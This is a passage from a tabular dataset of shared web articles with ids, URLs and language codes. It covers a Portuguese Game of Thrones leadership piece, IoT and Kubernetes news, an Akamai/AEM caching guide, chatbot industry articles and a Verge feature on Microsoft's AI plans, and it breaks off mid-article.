amam por isso e seus inimigos o respeitam. Aliás, nunca vi ninguém converter inimigos em aliados como ele . Sua retidão e seu desapego pelo poder o tornam um líder poderoso que as pessoas respeitam e seguem pelos cenários mais absurdos. 4.Decisões ancoradas em valores são sempre boas decisões Jon chega até aqui, apesar de todos os riscos que correu e dos erros que cometeu, porque sempre tomou decisões baseadas em valores que as pessoas podiam reconhecer e admirar . Mesmo quando erra não perde a admiração de seus liderados, já que eles entendem o porquê de cada decisão. 5. Hesitação pode ser fatal Jon é lento para decidir e costuma hesitar em momentos chave da história. Muita gente sofreu e muita gente morreu por conta disto. Na verdade, ele mesmo literalmente morreu por resistir em tomar decisões difíceis em relação a pessoas. Ainda bem que Melisandre estava por perto... 6. Você precisa de aliados que compensem suas fraquezas A capacidade de Jon de trazer pessoas brilhantes para seu lado é impressionante. E ele é sábio em reconhecê-las e deixá-las trabalhar. Ao longo do caminho foram várias - Samwell, Tormund, Davos, Sansa e agora a sensacional Lyanna Mormont. Um verdadeiro dream team! E não vamos esquecer da Daenerys, a mãe dos dragões. C ertamente a candidata mais poderosa ao trono. Além do direito natural ao título, o que torna sua posição forte por natureza, Daenerys reúne um conjunto potente de predicados. Assim como Jon, teve que percorrer o caminho do herói e se afirmar como líder em um cenário que privilegia os homens. Assim como Cersei percebeu que seu caminho para o poder estava em assumir o protagonismo e assim como Jon se cercou de gente boa ao seu lado. E ainda tem três dragões! Só não leva se fizer algum erro muito grande. Daenerys é um belo personagem e tem também a nos ensinar: 7. Potencia sem estratégia não é nada Até a chegada de Tyrion, o anão que nasceu para ser conselheiro de reis, Daenerys andava em círculos, ora avançando com ferocidade, ora se perdendo em seus erros. Apenas com a chegada do estrategista , que ela teve a sabedoria de acolher, é que seus esforços triunfam e que ela consegue finalmente se organizar para a batalha final. 8. Símbolos são importantes Ninguém soube usar melhor sua trajetória para criar uma aura de vencedora - mãe dos dragões, nascida do fogo, libertadora dos escravos - Daenerys construiu uma imagem que a torna irresistível na batalha de Relações Públicas. Apenas Jon Snow tem alguma chance ao disputar com ela os corações e mentes do povo. Cersei quase morreu por subestimar a importância disto. 9. Se você tem três dragões, use-os! Apenas quando Daenerys usa seu poder sem restrições, soltando os bichos sobre a frota dos senhores escravistas, é que ela afirma de fato sua condição de candidata ao trono dos sete reinos. O poder traz responsabilidade, mas não o usar é infantilidade. Assim como nas empresas, é fácil perceber nesses personagens a importância que um líder tem. Sem liderança não dá para executar uma estratégia. Aliás, sem liderança não há estratégia. Sem liderança, não há um porquê . Há apenas como e o quê . Sem liderança, não há mudança, não há o novo. Há apenas a repetição do antigo. Os líderes são os responsáveis por alinhar os esforços, engajar as pessoas, fazer as partes cooperarem entre si. Quanto mais complexo o sistema, maior a importância da liderança. E os líderes são os responsáveis por manter a motivação qualquer que seja o cenário. O líder energiza, faz mover. Pela fala, pela ação, pelo exemplo. Um último aprendizado , que é meio óbvio, mas que vale a pena ser registrado, é: 10 . Para ganhar, tem que jogar Apenas na hora que você se assume como líder e se propõe a ser o protagonista de grandes conquistas é que você tem a chance de ganhar. Ninguém vai te dar o trono de graça, você vai ter que lutar por ele! Esses três, cada um a seu modo, serão os protagonistas da próxima temporada que eu e milhões de pessoas pelo mundo estão esperando ansiosamente. É muito prazeroso ver grandes líderes em ação, na vida real ou na ficção. E sempre dá para aprender alguma coisa! Se você também está em uma batalha pela liderança, e agora entendeu como ela é fundamental para o sucesso do seu negócio, aproveite enquanto espera pela sétima temporada para fazer o Curso Liderança: Desenvolvendo Times de Alta Performance , 100% online e gratuito que acabei de lançar em parceria com a Endeavor e SEBRAE. Leia também: Liderança: tudo para inspirar seu time a ter cabeça de dono 3 mitos sobre liderança que atrapalham o empreendedor O que nos faria líderes admirados e eficazes como Alexandre, o Grande?",pt
1467908016,CONTENT SHARED,6352416307575007029,-4627026983118548639,-5757477100502378815,,,,HTML,http://www.mediapost.com/publications/article/279682/the-home-of-the-internet-of-things-everywhere.html?utm_source=newsletter&utm_medium=email&utm_content=headline&utm_campaign=94423,The Home Of The Internet Of Things: Everywhere,"Since the foundation of the Internet of Things is actual networking, innovation can come from virtually anywhere. While many mobile startups were born, nurtured and scaled from New York and California, IoT entities are everywhere. Projects in Asia, Europe and North America are booming, with no real center of activity. There are some notable IoT hotspots, such as Boston and nearby towns, but creation is happening at different scales in different places. Part of the IoT explosion involves technology and part involves using that technology for new marketing methods. And the growth of IoT devices is widespread. For example, wearables are becoming very popular in the Middle East and Africa, with device shipments up almost 65% from a year ago, according to International Data Corp. Another 20% annual growth a year is projected over the next four years. Sensor technology is also being deployed and starting to be used in new ways. In New Zealand, Heineken is using beacons at more than 100 locations to provide big ticket prizes to consumers. Such prices include flights around the country and helicopter rides to a special event. The program, including the mobile app triggered by beacons, was developed by Saatchi and Saatchi. In China, the first mass produced smart car is being introduced by Alibaba. The so-called 'Internet car' has its own unique operating system rather than relying on one from Apple or Google. In London, slow-moving delivery robots will haul food on-demand to consumers. More than 25 robots have driven about 5,000 miles in earlier tests in London and Estonia. Other robotic and drone package delivery services are being developed in numerous countries, along with Amazon and Google. An automated system in Australia is launching for beer brewing. The system uses Wi-Fi, precise temperature control and fermentation technology at the touch of a button. The remote-controlled brewing is expected in the U.S. later this year. Virtual Reality, one of the hottest IoT growth areas, is being added to NBC's Olympic coverage. Using Samsung's Gear VR, viewers will have access to 85 hours of VR content through the NBC sports app. There are many more examples, but you get the idea. The home of innovation for this tech-based revolution has no obvious place. ---------------------------------------------------------------------------------------------- Marketing in connected homes? Come hear Trevor Guthrie of Giant Spoon, Dino Hainline of Midnight Oil, Greg Hedges of Rain and Jeff Suhy of Modop at the MediaPost IoT Marketing Forum Aug. 3 in New York. Check it out the agenda here .",en
1467916732,CONTENT SHARED,1038118700785242153,6960073744377754728,392713317209486828,,,,HTML,https://community.akamai.com/community/web-performance/blog/2015/06/22/adobe-cq-aem-akamai-integration-best-practices,Community,"tl;dr; When integrating Adobe Experience Manager/CQ with Akamai, ensure that cache purge/invalidation is handled correctly from either the Author or the Publisher module of the product. Updated on 07/16/2015 - Added the details on Sling include. A few days back, I had started a discussion on working with Adobe AEM and Akamai. I did get a few pointers from the community. Since I got a chance to talk to Adobe consultants during the past week, I wanted to write a bit more elaborate write-up on the integration best practices. Adobe Experience Manager / CQ Let us begin with a quick overview of the Adobe EM/CQ architecture. In a typical deployment, you will have 3 main components: Web server like Apache with the Dispatcher module Publisher module Author module Here's a bit more on the 3 components: Author : This is the area where new content is created, drafts are stored and approval process for content is implemented. Typically, this is available only for internal audience and can be accessed via strict firewall rules like corporate VPN IPs, SSO, stc. Publish : This is the traditional app server or the external facing CMS system. It can generate the response for dynamic content, assemble JSP pages and so on. Although public facing, it will generally be accessible via a web server that would be fronting all the communication with the outside world. Dispatcher : It is a component that plugs into the web server and helps by providing caching facility. It will be responsible to cache static content on the web server. Any content that is cached will be placed in the document root of the web server. It will also help to purge or invalidate the cache whenever content is updated. Publisher and Author can be treated like the traditional application server that hosts the business logic, process orchestration and dynamic adaptation. Dispatcher can be treated like a module for the HTTP server. Here's an architecture overview from the Adobe AEM website. Caching at Dispatcher When integrating with Akamai, it is the Dispatcher component that we need to focus the most. It is the component that provides caching at customer's origin. Since it adds an extra layer of caching, any integration must ensure that a cache purge or invalidate issued at origin trickles down to Akamai as well. Here's the work flow that this module uses for deliver content. What does Dispatcher cache? The dispatcher caches GET responses and if they are not dynamic. A dynamic request is any URL that has a query parameter. As per the documents, these are the conditions in which a Dispatcher will not cache: If the HTTP method is not GET. Other common methods are POST for form data and HEAD for the HTTP header. If the request URI contains a question mark ""?"". This usually indicates a dynamic page, such as a search result, which does not need to be cached. The file extension is missing. The web server needs the extension to determine the document type (the MIME-type). The authentication header is set (this can be configured) File content is cached by the request path. Objects are cached without a concept of TTL. An object will remain in cache until it is updated and replaced with a new version. Since Dispatcher sits at the Web Server tier, customers can use other modules like mod_deflate and caching modules. Using these modules, they can compress the response and set the cache-control and expires headers. Akamai could honor these TTL settings and adjust the caching accordingly. How does Dispatcher clear cache? Normally, the flow for cache update is that Author publishes some content to Publisher. The Publisher module then invokes the cache clearing mechanism on Dispatcher and removes/invalidates the old objects. Clearing of cache is accomplished using 2 methods called content update and auto-invalidation : Content-update : When content has changed, AEM sends a syndication request to dispatcher. Like a purge request, it clears the cache. New object will be cached only when a request is received at the dispatcher. Auto-invalidation : It automatically invalidates parts of cache that may be out of date but the object is not removed from cache. It works based on statfile and the operation is similar to cache invalidation at Akamai. Since cache is based on directory structure, a change at ""document root"" will recursively clear everything. So the updates should be done in such a way that it batches the changes and results in a faster publish cycle. How to trigger Akamai cache updates? Typically, AEM can invoke the Akamai purge API from either the Author or the Publisher module. Here's the pros and cons of it: Triggered by Author module: Based on discussion, this is easier to plugin. Author module exposes a few hooks for the ""publish"" event and the akamai cache purge API can sit here. The biggest disadvantage is that the publish cycle can take time causing a race condition between Akamai purge and cache update on the dispatcher. It may so happen that Akamai has cleared the cache, requested for new object and it receives the stale content. Triggered by Publisher module: This is a better place to use the cache API. However, it will involve complex coding. From the discussion, it felt like this will be a harder to implement/maintain solution. In an ideal world, the Publish system should have an event that triggers when Dispatcher has cleared its cache. The Akamai API should be triggered at this event. Since this is not available, the best solution that was suggested was to do the following: Invoke the Akamai purge from Author module. Since it could result in a race, the API call should have an implicit wait of 5 minutes. This will provide time for Author to publish and dispatcher to update. Based on Author publish cycle time, the implicit wait can be increased or reduced to a more reasonable time. Handling Partially Dynamic Content Many a times, there will be pages that has mostly static content with some parts of the page being dynamic. For example, the menu, content and footer may be common. The header may have a field that says ""Welcome John"". To handle such a kind of partially dynamic component, Adobe AEM provides a concept called as "" Sling Dynamic Include "" or SDI. The actual implementation of SDI could be using Server Side Includes (SSI), Edge Side Includes (ESI) or just Ajax. Dispatcher will cache the page with the include template. So there is still a good caching at the server level and the dynamic objects are rendered seamlessly. For more information on Sling, refer to the Github project Cognifide/Sling-Dynamic-Include · GitHub. Here's how the ESI integration would work with Akamai. Conclusion Based on the discussions, the best way to integrate with AEM is: Have default TTL rules at Akamai. If necessary, enable Honor Cache-control and Expires so that AEM can dictate the TTL to Akamai. The headers could be set to a lower time bound so that cache purge or invalidate requests are never required. When automating Akamai purge from AEM, it is best to implement at the Author module with a delay. This will avoid race condition and cache coherence issues. For a quick overview of the details, please see the discussion here . References",en
1467926674,CONTENT SHARED,30461094217357731,3891637997717104548,-4093721060545483167,,,,HTML,https://cloudplatform.googleblog.com/2016/07/Kubernetes-1.3-on-tap-for-Google-Container-Engine.html,Kubernetes 1.3 on tap for Google Container Engine,"Today, we're announcing that Kubernetes 1.3 is ready to roll out on Google Container Engine (GKE) and will be available to all customers over the coming week. As more businesses bridge their applications and data across on-prem and public clouds, there has been an increased demand for portability and flexibility in deploying applications. The latest Kubernetes 1.3 release addresses many of the top requests from businesses, including services that span availability zones (including on-premises deployments), built-in support for stateful applications and doubling the number of nodes in a cluster to 2,000. Google Container Engine , a fully managed Kubernetes service, has emerged as one of Google Cloud Platform 's most popular offerings, with usage doubling every 90 days. As our fully managed Kubernetes service, Container Engine is easy to set up, manage and run applications in containers that are backed with Google's 99.5% SLA. We've also made several improvements to Container Engine: Integrated Google Cloud Identity & Access Management (IAM) roles, giving you full control and visibility to manage your clusters centrally Native local SSD support with automatic provisioning, to quickly and easily deploy your high-throughput applications The ability to run different machine types across multiple zones with NodePools , letting you customize your cluster in the way that makes sense for your specific application Container-VM Image , an underlying OS for your nodes with advanced security and manageability features for container-based environments, ensuring Container Engine can support business critical applications Container Engine is being adopted by thousands of customers across many different industries, and developers repeatedly tell us that Container Engine allows them to quickly and securely respond to changing demands and meet customer needs. Here are two Cloud Platform customers that have recently shared their stories: CCP Games adopted the Kubernetes workflow and has saved more than 300 person-hours/year in troubleshooting for EVE Online, allowing their developers to focus on creative work. Rayark used Container Engine to launch its newest game, VOEZ, propelling it to the top of the charts in the App Store in Japan. Learn more here . Partner integrations We're also pleased to announce a growing number of partners in the Container Engine ecosystem, including the following solutions that have launched in the past three months: These and other updates in the 1.3 release will be rolled out to Container Engine users over the next week. Also, if you'd like to participate in the Kubernetes community, we'd love to have you! Please join the google-containers mailing list or on the kubernetes-users or google-containers Slack channels. Finally, if you've never tried Cloud Platform before, getting started is easy. Sign up for your free trial here . Thank you for your support!",en
1467941877,CONTENT SHARED,2203293143157288172,-6895155480127642372,5467214167815812752,,,,HTML,http://espn.uol.com.br/noticia/611348_por-falta-de-seguro-alex-e-marquinhos-nao-participam-de-treino-da-selecao,"Por falta de seguro, Alex e Marquinhos não participam de treino da seleção","Jose Jimenez-Tirado/FIBA Americas Dois jogadores importantes para a seleção brasileira masculina de basquete não puderam participar do treino desta terça-feira. Os desfalques em questão foram os alas Alex e Marquinhos, que foram afastados por falta de seguro. Segundo a legislação brasileira, a CBB é obrigada a fazer o seguro com uma empresa nacional. Esse produto é disponibilizado no mercado, porém nenhuma empresa até agora aceitou cobrir o seguro. Os demais atletas que atuam na NBA, na Espanha e com dupla nacionalidade já estão com suas apólices vigentes no exterior. O restante da seleção começou a adaptação ao horário das partidas na primeira fase da competição. Com os cinco primeiros jogos marcados para às 14h15, a comissão técnica elaborou para esta terça e a próxima quinta uma programação semelhante a que será feita durante a Olimpíada. ""Desde agora começamos a organizar o horário de despertar, das alimentações e o treinamento. Com isso esperamos primeiro obter uma resposta da adaptação fisiológica. Treinar na hora do jogo e saber a hora certa de comer e do que se alimentar é importante para não sentir nenhum incômodo no organismo"", explicou Diego Jeleilate, preparador físico da seleção. O Brasil está no Grupo B do basquete masculino da Olimpíada. Os adversários na primeira fase serão Lituânia, Espanha, Argentina, Nigéria e mais um competidor que virá do Pré-Olímpico Mundial.",pt
1467946653,CONTENT SHARED,1515492713000932747,-48161796606086482,-5174358978375141316,,,,HTML,http://venturebeat.com/2016/07/07/botbeat-top-bot-stories-2/,What the future will look like when we use chatbots instead of apps,"VentureBeat's Bots Channel Here's this week's newsletter: tracks all the important and interesting news related to the exploding field of bots and messaging. And each week we select the top stories and present them in in our free weekly newsletter, BotBeat. We include news stories by VentureBeat staff, guest articles from leading figures in the bots community and a good number of posts from a wide variety of outlets. You can subscribe to our BotBeat newsletter to receive this information in your inbox every Thursday. Alexa will now accept orders for tens of millions of Amazon items , and as we reported last week, there are now more than 11,000 bots, a review system, and more new features on the Facebook Messenger platform. A chatbot by any other name? The bot startup community is divided about what to call their creations: chatbots, bots or something else. In a guest post, AppZen CEO Anant Kale argues that chatbots should be renamed intelligent assistants . And this post examines the future of bots and Apple's choice to take a different road than most other tech giants. We continue our exploration of interesting bots you may or may not have heard of - and the surprising ways people interact with them. We uncovered the kinds of things people tell a prayer bot , and there is now a gymbot . There's a new bot that connects anonymous people on Facebook Messenger , but its creator is taking measures to avoid becoming like the oh-so-sexually-explicit Chatroulette. We're days from the start of MobileBeat, our conference devoted to bots and A.I. being held July 12-13 at The Village in San Francisco . Tickets are nearly sold out, so click over there now if you want to attend . Apple's unexpected approach to bots Also, there's one day left to enter VentureBeat's international botathon to compete against participants from Tel Aviv, New York, San Francisco, and Melbourne. Facebook Messenger now has 11,000 chatbots for you to try Remember to follow #MobileBeat in social media next week. Bot that's like Chatroulette for Facebook Messenger hits 250,000 users in 3 weeks From the VentureBeat Bots channel Read more You can now ask Alexa to order millions of products on Amazon At betaworks, we are very excited about the opportunities conversational interfaces offer for building new kinds of products, services, distribution channels and user experiences. The sorts of things people say to a prayer chatbot Facebook today release new statistics on the growth of chatbots on its Messenger app and announced new features related to chatbots. Read more Don't call them chatbots, call them intelligent assistants Chatible, a bot that randomly connects anonymous Facebook Messenger users, has surpassed 250,000 users since its debut three weeks ago, according to creator Zain Amro. Gymbot: A bot that tracks your workouts through Facebook Messenger Through products like the Amazon Echo, Echo Dot, Amazon Tap, or Amazon Fire TV, you can now tell Amazon's virtual assistant Alexa to buy tens of millions of Amazon products. In between talks at Botness, a gathering of bot community leaders held last month in San Francisco, Andy Mauro wondered aloud if chatbots will ultimately make people more social. This Facebook Messenger Hack Can Let People See What Links You're Sending Unless you've been hiding under a rock, you've no doubt heard about chatbots. However, what's not commonly known is that chatbots have been around for years. What businesses need to understand about chatbots There is no shortage of fitness-tracking apps that monitor your walks, runs, or trips to the gym. But app development agency 9elements instead uses a bot to track your daily training regime. Amazon Echo users can finally choose Spotify or Pandora as default music service Beyond BotBeat AI. Messaging. Bots. Arm yourself for the next paradigm shift at MobileBeat 2016. July 12-13 at The Village in San Francisco. Reserve your place here. There have been reports of a strange trick that is potentially leaving links in your private Facebook messages open for strangers to access. Welcome to the bot-centric future, which is set to make smartphone users - i.e. almost everyone in the Western hemisphere - navigate the internet in a chit-chat fashion with a virtual assistant. I love my Amazon Echo. And alongside checking the weather, I mostly use the voice-powered smart speaker to play music.",en
1467946726,CONTENT SHARED,-8908991577172785311,-48161796606086482,-5174358978375141316,,,,HTML,http://venturebeat.com/2016/07/07/bots-need-a-personality-not-a-brain-like-a-vending-machine/,"Bots need a personality, not a brain like a vending machine","Facebook's recent chatbot announcement about delivering ecommerce to the service's extensive user base has put artificial intelligence into the spotlight again. However, there's a major problem with these new bots: a lack of human understanding. For years, software design has traditionally consisted of three fields, but there may soon be a fourth. Joining UX, UI, and graphic and interaction design is an idea known as ""consciousness design"" that will emerge as A.I. assistants grow in popularity. Amazon Echo and other A.I. assistants are among the pioneers of virtually ""interface-less"" experiences that make consciousness design central to product success. The idea is not so much to offer a simple search that delivers less-than-desired results, which is what Facebook bots basically do, but rather to offer a real customized experience that harnesses artificial intelligence to power the coming revolution. Before you can build A.I. that has personality, you first need to ask: What is consciousness, anyway? Philosophers have debated this question for centuries, but we'll attempt to answer it here. Consciousness is an entity with a set of values and a purpose that originates actions. In building Mezi, we grappled extensively with the question of how to anthropomorphize the ideal shopping experience. In addition to this question, we added several more: How do we build a cohesive personality that customers will love? Do we want to be the customer's best friend, concierge, or guru? Do we want to be perceived as a robot or as human? In practicing consciousness design, we found there were four key components to building a cohesive persona: 1. Values and personality We had to first define who Mezi was and, from there, what actions and behaviors matched its identity. We held several internal brainstorming sessions, studied our most successful customer interactions, and interviewed top customers to learn what they loved about Mezi. We focused on a few traits that really defined the persona, such as being knowledgeable, trustworthy, energetic, and friendly. We crafted Mezi's ""voice"" to match these traits, from the use of exclamation marks and emojis to saying ""hey"" instead of ""hi"" as a greeting. We initially chose to use emojis because it was fun and quirky, but that aspect of our voice ended up really standing out and being memorable to our customers because it contrasted with the way they thought an A.I. bot would communicate. 2. Consistent voice How text is edited and presented to users is important (call it copy editing the bot), especially when the A.I. assistant is at the center of the user experience. Like many assistant startups that are a combination of human and A.I. assistance, we can't code every message we send. This creates a challenge in ensuring that the human agents maintain consistency with the A.I. voice. Mezi addressed this challenge by documenting and widely communicating the Mezi persona's values and personality traits, which were reinforced through weekly training sessions. For example, we held trainings on everything from the best way to exhibit thoughtfulness to how we ask clarifying questions to how we describe our product recommendations. 3. Supporting UX/UI A thoughtful tone is the most obvious way to express an assistant's consciousness. But, as we all know, it's not just what you say but what you do that matters. To more holistically express the assistant persona, we carefully considered details such as the blue and light gray colors used in our message bubbles, which were selected to create a friendly yet professional feel. We took a similar approach to naming the app. Mezi was originally called Mez (short for ""message""), but we decided to add an 'i' at the end to make it sound like someone's name. The Mezi persona is ingrained in the UX/UI experience, starting from the sign-up flow. Instead of showing a standard app tour and a series of account creation steps, Mezi introduces itself in the first person and talks the customer through the process to familiarize them with the persona. 4. Points of detachment from the persona While it's important to let the customer buy into the relationship that he or she is forming with the assistant, some parts of the experience are best separated from the assistant. For example, we determined that NPS (Net Promoter Score) surveys should be presented as a system dialogue from the ""app"" rather than as a message from ""Mezi,"" so the customer would feel comfortable giving candid feedback. Prompts to rate Mezi in the App Store are also better coming from the ""app,"" for similar reasons. At the end of the day, A.I. assistant apps present an amazing opportunity to build customer relationships in a way that no other interface has allowed before. The flip side is that companies need to be very careful not to erode trust by making mistakes with the assistant. A sloppy message is far more dangerous than a bug on a traditional app - it could damage the entire service relationship. The field of consciousness design is a new paradigm. As more smart people refine consciousness design over time, we'll find ourselves ""meeting"" new apps, instead of just using them. AI. Messaging. Bots. Arm yourself for the next paradigm shift at MobileBeat 2016. July 12-13 at The Village in San Francisco. Reserve your place here.",en
1467951625,CONTENT SHARED,-4541461982704074404,-1032019229384696495,-1187079779874414785,,,,HTML,http://www.theverge.com/2016/7/7/12111028/microsoft-bot-framework-artificial-intelligence-satya-nadella-interview,Exclusive: Why Microsoft is betting its future on AI,"After losing on mobile, can Microsoft win the next battle? In January, The Verge described the tech industry's search for the killer bot . In the months that followed, companies big and small have accelerated their development efforts. Facebook opened up a bot development platform of its own, running on its popular Messenger chat app. Google announced a new intelligent assistant running inside Allo, a forthcoming messenger app , and Home , its Amazon Echo competitor. Meanwhile the Echo, whose voice-based inputs have captivated developers, is reportedly in 3 million homes , and has added 1,200 ""skills"" through its API. Microsoft is proud of its work on AI, and eager to convey the sense that this time around, it's poised to win. In June, it invited me to its campus to interview some of Nadella's top lieutenants, who are building AI into every corner of the company's business. Over the next two days, Microsoft showed me a wide range of applications for its advancements in natural language processing and machine learning. The company, as ever, talks a big game. Microsoft's historical instincts about where technology is going have been spot-on. But the company has a record of dropping the ball when it comes to acting on that instinct. It saw the promise in smartphones and tablets, for example, long before its peers. But Apple and Google beat Microsoft anyway. The question looming over the company's efforts around AI is simple: Why should it it be different this time? Microsoft has already had more success building bots than perhaps any other US company. But you probably aren't aware of it, because its success started in China. In January 2016, one of Microsoft's artificial intelligence creations appeared on the Chinese morning news show Dragon TV when the newscaster cut away to its weather forecaster, Xiaoice. Pronounced ""SHAO-ICE,"" it's a bot whose name is Chinese for ""little Bing."" That's Bing as in Microsoft's perennial also-ran search engine. But this version of Bing is way more talkative. The camera cut to an animated circle hovering in front of a virtual podium. The face transformed into an image of a microphone, and in a soft female voice, Xiaoice shared her forecast, even answering a question from the anchor. ""We've found a bot that works in a new way that fulfills many of the promises of conversation."" If you want to know why Microsoft has become so bullish on bots, Xiaoice is a big part of the answer. ""I'm not going to go so far as to say we've found the killer bot - but we've found a bot that works in a new way that fulfills many of the promises of conversation,"" says Derrick Connell, head of search engineering at Bing. Xiaoice, which Microsoft introduced on the Chinese messaging app WeChat in 2014, can answer simple questions, just like Microsoft's virtual assistant Cortana. Where Xiaoice excels, though, is in conversation. The bot is programmed to be sensitive to emotions, and to remember your previous chats. Going through a breakup? Xiaoice may check in to ask you how you're doing. After it was available for three days, Xiaoice had been added to 1.5 million conversations on the Chinese mega-messenger app WeChat. It was later made available on the Chinese micro-blogging service Weibo, where it became one of the most popular celebrity accounts to follow. Today the bot has been used by more than 40 million people, and the average conversation takes an impressive 26 turns between speaker and bot. For Connell, Xiaoice points the way toward the next generation of search. Web queries traditionally returned a page with 10 blue hyperlinked results; the perfect conversational bot will simply return the correct answer. Of course, success in China may not translate to the United States. (Microsoft's first English-language bot experiment, Tay, was a fiasco .) Two years after Xiaoice's debut, there's still no English-language equivalent, and none is imminent. But Microsoft executives say the infrastructure behind Xiaoice represents a significant opportunity for the company. ""We want it to be an ecosystem."" ""It's the modern era - you don't have to be an expert in speech and language understanding,"" Connell says. ""Just use our tools. Go build your branded bot with our tools and put it on whatever canvas - it might be Slack, it might be Facebook Messenger. We hope it might be Skype or Windows. But you choose."" And with fears mounting among developers that a war could emerge over bot standards, Microsoft has been uncharacteristically diplomatic. It organized a conference in San Francisco in June to promote cooperation among bot-makers. ""We're really interested in it being interoperable - we want it to be an ecosystem,"" says Lili Cheng, a senior engineer at Microsoft who helped organize the two-day event. (It was called Botness.) ""It's more like, what are the problems and challenges that we are finding that we can work on together?"" But by taking the lead with events like Botness, Microsoft hopes to position itself at the center of the shift to bots. If the company succeeds, it will have a fresh start in the mobile era. Bots powered by the company's technology could show up inside each of the world's most popular messaging apps, giving Microsoft a lucrative foothold in the new world. The strategy Of course, Microsoft isn't alone in trying to build the defining platform for the next generation of computing - if conversation even turns out to be that platform. Every major tech company and a host of startups are building AI divisions, often with impressive results. But here it's worth saying that comparing AI across companies is difficult to the point of being impossible. Much of what companies like Google, Facebook, and Amazon are working on remains unreleased. And executives are often opaque when asked what distinguishes their AI - Google CEO Sundar Pichai, for example, has taken to simply saying that the company has been working on it ""for a very long time."" Benedict Evans, the resident futurist at venture capital firm Andreessen Horowitz, said in a recent blog post that the future of AI remains opaque. ""This field is moving so fast that it's not easy to say where the strongest leads necessarily are, nor to work out which things will be commodities and which will be strong points of difference,"" he wrote. ""Though most of the primary computer science around these techniques is being published and open-sourced, the implementation is not trivial - these techniques are not necessarily commodities, yet."" Every major tech company is getting ready for this fight Qi Lu is happy to make the case for Microsoft's competitive advantage. Lu is one of the dozen people on Nadella's senior leadership team, overseeing the company's applications and service groups. He's also a computer science PhD with 20 patents to his name, and is revered among the colleagues of his I speak to. After a few minutes, I start to understand why - he's ferociously intelligent, tapping his feet impatiently as he talks, as if frustrated he can't speak as quickly as he thinks. When we meet he is wearing socks with sandals, cargo shorts, and a T-shirt emblazoned with three words: ""Make epic shit."" Lu begins by running down the disadvantages presented by the first wave of the mobile internet. The percentage of web traffic from mobile devices has never exceeded desktop traffic he says, reflecting users' frustration with the experience. ""We know web doesn't really work on the phone,"" Lu says. And outside a handful of major categories, users are resistant to downloading apps. Seattle residents might be asked to download an app just to check the fare of a ferry they take a couple times a year - surely there's a better model. ""Our industry hasn't found an experience platform that can unleash the entire value of mobile and the cloud,"" Lu says. ""Apps, fundamentally, are not the right model."" Apps arose as an interface in lieu of the HTML-based web because they were the best we could do at the time. You couldn't just yell what you wanted from the internet into your phone, so developers built sophisticated hidden plumbing and let you interact with it via big graphical buttons. And buttons remain the most efficient path for getting lots of things done. But thanks to advancements in natural language processing, now you actually can just yell what you want from the internet into your phone. Lu says the next-generation ""experience platform"" is going to start there, with conversation. It fits more naturally with how humans behave anyway. And if you get it right, you can always start layering those big shiny buttons back on later. ""We see a full spectrum of using language as the baseline, but using graphical interactions in a thoughtful, meaningful way, to elevate the experience,"" he says. Piece it all together and you can see why Microsoft is feeling so optimistic But to win, Lu says, a company needs five ""key assets."" The first is a ""conversation canvas"" - a place where people are doing lots of talking and texting. Microsoft has Office, Outlook, Skype, and Cortana. The second is that AI ""brain"" - a sophisticated mental model of the world. Microsoft says its own AI efforts date back nearly 20 years. The third is access to a social graph - people's activity on the internet often involves their friends and coworkers. Not coincidentally, a few days after I met Lu, Microsoft announced it would spend $26.2 billion to acquire LinkedIn, and its 433 million registered users. The fourth piece is a platform for the artificial intelligence to operate on. Microsoft has Windows and a family of devices, notably the Xbox. The final piece is a network of developers eager to build on your platform, and to pay you for the privilege. Stoking that interest had been the primary goal of the Microsoft Build developer conference in March. Individually, Microsoft's assets have strong rivals. Facebook arguably has a stronger conversational canvas with its family of messaging apps, for example; certainly it has the largest social graph. Google's ""brain"" might be smarter, and it has broad access to hundreds of millions of Android devices. But piece it all together and you can see why Microsoft is feeling so optimistic. ""Adding all those assets,"" Lu says, ""I believe we have what it takes to lead the future."" The brain Microsoft's total embrace of AI became apparent two years ago at the inaugural Code Conference. (The conference was acquired the next year by Vox Media, which owns The Verge . ) Nadella, who had become CEO just three months before, appeared on stage to discuss Microsoft's future. At the end of his talk, he demonstrated a new feature inside Skype. Two Microsoft employees spoke on stage - one in English, the other in German - and Skype translated their speech in real time, allowing them to communicate despite the language barrier. It was an impressive demo - and Nadella announced that by the end of the year it would be a working product. To the Skype team back in Redmond, Nadella's timeline landed like a bombshell. ""It was a complete surprise to me,"" says Peter Lee, a corporate vice president at Microsoft Research. ""Satya really put us in jail with this Skype Translator thing."" Initially, the team had two major concerns. One was that Microsoft Research historically has not been tasked with bringing products to market, and researchers worried they would suddenly have less freedom to pursue scientific breakthroughs. ""Satya really put us in jail with this Skype Translator thing."" The other concern was that at the time of the demo, Skype Translator wasn't very good. The company's language models had been built using a large body of formal speeches - testimony from the United Nations, for example. But two-way communication of the sort that Skype needs to translate is much different. There are more ""disfluencies"" - moments when the speaker trips over a word, or backs up to start a sentence over again. There's ""code mixing"" - when speakers use multiple languages in a single sentence, which is very common outside of English. Then there was the singing - apparently people are constantly singing to each other, and it turns out that computers have a very difficult time parsing it. ""Basically, nothing worked,"" Lee says. ""What we had to do is re-train all our models."" But Lee's team rallied, cheered on by Nadella, and released a preview that December. The product became widely (and freely) available the next year . Lee, who approvingly calls Nadella ""an activist,"" says the project was exhilarating - eventually. ""Imagine the dips in morale and fear when you realize none of this stuff is gonna work - you have to somehow get people past that,"" Lee says. ""And when you do, you see amazing new things appearing."" This doesn't feel like hyperbole. Microsoft can now translate conversations between eight different languages - 56 different combinations. And the underlying technology has implications that go beyond translation. You want to hear about a bot that's incredibly, even magically useful? Microsoft is beta-testing software that records business meetings and produces transcripts in real time. The same software can also, say, take an audio recording of an interview between two people and produce a transcript that distinguishes between the speakers - perhaps the single most desired piece of technology for any journalist who ever lived. ""I can't tell you how dismaying it was when we found out stuff wasn't working well for Skype Translator when we first embarked on that,"" Lee says. ""But now that we're climbing that mountain, we're in possession of these speech and translation models, especially the speech models - they're shockingly good."" Clippy's revenge In the meantime, Microsoft is pouring AI resources into some of its biggest franchises: Windows and Office. One of the promises of AI is that it can anticipate your needs - it's the foundational idea of Google Now, which presents you with traffic, weather, and sports scores the moment you unlock your phone. Microsoft is working to build this kind of AI into the desktop. Marcus Ash, who oversees the development of Cortana, showed me a mocked-up version of Windows that draws heavily on cloud-based inferences about what I might want to know. When Ash accesses the Start menu, Cortana appears with a series of suggested actions: names that are meaningful to you, documents you've used recently, and suggested translations for common French words. (The user here has an upcoming trip.) With your permission, Cortana incorporates data about your contacts, web search history, and app usage into its recommendations. It isn't as sexy as a general AI that anticipates your every need - but it's here today And it changes based on the time of day - app developers can signal that they're useful in the 